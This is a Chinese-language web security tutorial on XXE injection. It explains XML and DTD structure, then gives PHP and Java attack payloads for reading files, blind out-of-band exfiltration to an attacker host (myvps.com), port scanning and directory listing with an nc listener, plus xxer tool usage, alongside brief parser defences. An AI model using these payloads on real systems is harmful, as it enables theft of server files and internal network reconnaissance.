Web安全之XXE漏洞

XML应用场景

  1. 数据传输
  2. 配置文件
  3. 数据存储(小型数据库)

XML文档结构

  1. 文档声明

    <?xml version="1.0" encoding="utf-8" standalone="yes" ?>
  2. DTD文档类型定义(可选)
    文档类型定义(DTD)可定义合法的XML文档构建模块。它使用一系列合法的元素来定义文档的结构。
    DTD 可被成行地声明于 XML 文档中,也可作为一个外部引用。

  3. 元素
    XML文档有且只有一个root元素
    标签对应元素

  4. 属性
    元素的属性参考HTML

  5. 注释

    <!-- 注释 -->
  6. CDATA区、特殊字符
    CDATA节,保存纯字节数据,不会被引擎解析

    <![CDATA[
     ...........
    ]]>
  7. 处理指令

DTD介绍

内部声明DTD

<!DOCTYPE 根元素名称 [元素声明]>

外部声明DTD

<!DOCTYPE 根元素名称 SYSTEM "URI/URL">
或者
<!DOCTYPE 根元素名称 PUBLIC "公共名称" "URL">

内部实体

<!ENTITY 实体名称 "实体的值">

外部实体

<!ENTITY 实体名称 SYSTEM "URI">

XXE (XML External Entity Injection)漏洞

XXE漏洞发生在服务端在解析用户上传的(污染的)XML文件时,没有禁止外部实体的加载,导致可以加载外部文件

漏洞利用

可实现的能力

文件读取
扫描内网
命令执行

PHP XXE 漏洞利用

正常payload


<root>
    <user>admin</user>
    <pass>password</pass>
</root>

读取文件payload

<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE foo [
<!ELEMENT foo ANY >
<!ENTITY data SYSTEM "php://filter/convert.base64-encode/resource=index.php">]>
<root>&data;</root>

无回显payload

发送的xml

<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE data [
<!ENTITY % file SYSTEM "php://filter/convert.base64-encode/resource=../../../../index.php">
<!ENTITY % dtd SYSTEM "http://myvps.com/file.dtd">
%dtd; %all;
]>
<value>&send;</value>

myvps.com/file.dtd

<!ENTITY % all "<!ENTITY send SYSTEM 'http://myvps.com/?q=%file;'>">  

端口扫描

<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE foo [
<!ELEMENT foo ANY >
<!ENTITY data SYSTEM "http://127.0.0.1:8080">]>
<root>&data;</root>

漏洞防御

libxml_disable_entity_loader(true);
或者
libxml2.9.0以后默认不开启外部实体引用,gameover

Java xxe 漏洞利用

列目录

Java xxe 可以列目录

发送的payload

<?xml version="1.0" encoding="UTF-8"?><!DOCTYPE root [<!ENTITY % remote SYSTEM "http://myvps.com/dir.dtd">%remote;]>

myvps.com/dir.dtd

file:///etc/passwd

file:///c:///windows/win.ini

<!ENTITY % a SYSTEM "file:///"> <!ENTITY % b "<!ENTITY &#37; c SYSTEM 'gopher://myvps.com:9000/%a;'>"> %b; %c;

myvps.com上运行nc监听

nc -klvvp 9000

除了gopher协议,还常用ftp协议、http协议

漏洞防御

DocumentBuilderFactory dbf =DocumentBuilderFactory.newInstance();
dbf.setExpandEntityReferences(false);

简化利用方式

xxer

usage: xxer [-h] [-v] [-q] [-p HTTP] [-P FTP] -H HOSTNAME [-d DTD]

XXE Injection Handler

optional arguments:
  -h, --help            show this help message and exit
  -v, --version         show program's version number and exit
  -q, --quiet           surpress extra output
  -p HTTP, --http HTTP  HTTP server port
  -P FTP, --ftp FTP     FTP server port
  -H HOSTNAME, --hostname HOSTNAME
                        Hostname of this server
  -d DTD, --dtd DTD     the location of the DTD template. client_file
                        templates allow the filename to be specified by the
                        XXE payload instead of restarting the server

Originally from https://github.com/ONsec-Lab/scripts/blob/master/xxe-ftp-
server.rb, rewritten in Python by TheTwitchy
python xxer.py -P 2121 -d ftp.client_file.dtd.template -H yourvps.com

 _ _ _ _ ___ ___
|_'_|_'_| -_|  _|
|_,_|_,_|___|_|

version 1.1

info: Old DTD found. This file is going to be deleted.
info: Generating new DTD file.
info: Starting xxer_httpd on port 8080
info: Starting xxer_ftpd on port 2121
info: Servers started. Use the following payload (with URL-encoding):

<?xml version="1.0" encoding="UTF-8"?><!DOCTYPE xmlrootname [<!ENTITY % aaa SYSTEM "http://yourvps.com:8080/ext.dtd"><!ENTITY % bbb SYSTEM "file:///">%aaa;%ccc;%ddd;]>

转载请注明来源,欢迎对文章中的引用来源进行考证,欢迎指出任何有错误或不够清晰的表达。可以在下面评论区评论,也可以邮件至3213359017@qq.com